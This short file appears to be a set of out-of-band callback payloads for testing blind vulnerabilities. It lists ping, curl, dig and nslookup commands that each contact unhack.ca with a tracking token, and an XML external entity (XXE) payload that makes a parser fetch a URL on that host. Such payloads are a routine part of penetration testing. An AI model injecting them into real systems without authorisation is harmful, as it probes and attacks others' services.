$ ping -c1 -p 00bc75cc8ac9843a0b309e763d86ea00 unhack.ca
 

$ curl http://unhack.ca/p/bc75cc8ac9843a0b309e763d86ea
 

$ dig bc75cc8ac9843a0b309e763d86ea @unhack.ca
 

$ dig bc75cc8ac9843a0b309e763d86ea.ns.unhack.ca
 

C:\> nslookup bc75cc8ac9843a0b309e763d86ea unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/bc75cc8ac9843a0b309e763d86ea">]>
    <foo>&xxe;</foo>